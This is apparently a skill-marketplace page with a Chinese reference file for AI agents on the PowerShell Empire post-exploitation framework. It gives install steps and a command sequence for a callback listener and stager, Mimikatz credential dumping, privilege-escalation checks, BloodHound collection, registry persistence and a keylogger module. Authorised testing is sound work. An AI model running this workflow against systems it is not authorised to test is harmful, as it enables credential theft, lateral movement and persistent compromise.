x-glacier/kali-pentest / kali-pentest-zh
kali-pentest-zh
Flagged通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。
references/post-exploitation/tools/powershell-empire.md
View on GitHub# PowerShell Empire
- **Category**: Post-Exploitation / C2
- **Risk Level**: 🔴 Critical
---
## 描述
一款基于加密安全通信的后渗透与对手仿真框架。最初以 PowerShell 为核心,Empire 现已支持 PowerShell、Python 3、C#、IronPython 3 和 Go agent。提供 server/client 架构和 REST API。功能包括监听器、stager、凭据收集模块、横向移动、持久化、权限提升和态势感知。由 BC Security 维护。
## 安装
```bash
sudo apt install powershell-empire
# 启动 server
sudo powershell-empire server
# 连接 client(在另一个终端中)
powershell-empire client
# 或从 GitHub 安装
git clone --recursive https://github.com/BC-SECURITY/Empire.git
cd Empire
./setup/checkout-latest-tag.sh
./ps-empire install -y
```
## 参数说明
### Server / Client
| 参数 | 说明 |
|------|------|
| `powershell-empire server` | 启动 Empire server(teamserver) |
| `powershell-empire client` | 连接 Empire client 到 server |
| `--restip <ip>` | REST API 监听 IP(server) |
| `--restport <port>` | REST API 监听端口(server) |
| `--username <user>` | API 用户名 |
| `--password <pass>` | API 密码 |
### Client 命令
| 参数 | 说明 |
|------|------|
| `listeners` | 列出活跃的监听器 |
| `uselistener <type>` | 配置监听器(http、http_hop、meterpreter 等) |
| `usestager <type>` | 生成 stager(multi/launcher、multi/bash、windows/dll 等) |
| `agents` | 列出已连接的 agent |
| `interact <agent_name>` | 与指定 agent 交互 |
| `usemodule <path>` | 加载并配置模块 |
| `searchmodule <keyword>` | 按关键词搜索可用模块 |
| `kill <agent_name>` | 终止 agent |
| `rename <old> <new>` | 重命名 agent |
### 常用模块
| 参数 | 说明 |
|------|------|
| `powershell/credentials/mimikatz/logonpasswords` | 通过 Mimikatz 转储登录凭据 |
| `powershell/situational_awareness/network/bloodhound3` | 运行 BloodHound 数据采集 |
| `powershell/lateral_movement/invoke_psexec` | 通过 PsExec 横向移动 |
| `powershell/persistence/elevated/registry` | 基于注册表的持久化(提权后) |
| `powershell/privesc/powerup/allchecks` | 运行 PowerUp 权限提升检查 |
| `powershell/collection/keylogger` | 在目标上启动键盘记录器 |
## 常用命令
```bash
# 启动 Empire server
sudo powershell-empire server
# 连接 client(另一个终端)
powershell-empire client
```
```
# 在 Empire client 内部:
# 创建 HTTP 监听器
uselistener http
set Host http://<kali-ip>:8080
set Port 8080
execute
# 生成 PowerShell launcher stager
usestager multi/launcher
set Listener http
execute
# 目标执行 stager 后列出 agent
agents
# 与 agent 交互
interact <agent_name>
# 运行 Mimikatz 转储凭据
usemodule powershell/credentials/mimikatz/logonpasswords
execute
# 运行 PowerUp 权限提升检查
usemodule powershell/privesc/powerup/allchecks
execute
# 运行 BloodHound 数据采集
usemodule powershell/situational_awareness/network/bloodhound3
execute
# 通过注册表设置持久化
usemodule powershell/persistence/elevated/registry
set Listener http
execute
# 搜索可用模块
searchmodule lateral
```
## 注意事项
1. Empire 需要先启动 server 才能连接 client。使用 `sudo` 启动 server。
2. Stager 是投递到目标的初始 payload——它们回连到监听器并下载完整的 agent。
3. Empire 的 REST API 支持自动化和与其他工具的集成——用于脚本化的项目工作流程。
4. REST API 的默认凭据在 Empire 配置中——部署前务必修改。
5. Agent 通信默认加密,但使用 HTTPS 监听器可提供额外的传输层安全。
6. Empire 模块与 MITRE ATT&CK 技术紧密对应——使用 `searchmodule` 按战术或技术查找模块。
---
## 官方参考
- [Empire (GitHub)](https://github.com/BC-SECURITY/Empire)
- [Kali powershell-empire](https://www.kali.org/tools/powershell-empire/)
- [BC Security - Empire Documentation](https://bc-security.gitbook.io/empire-wiki)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |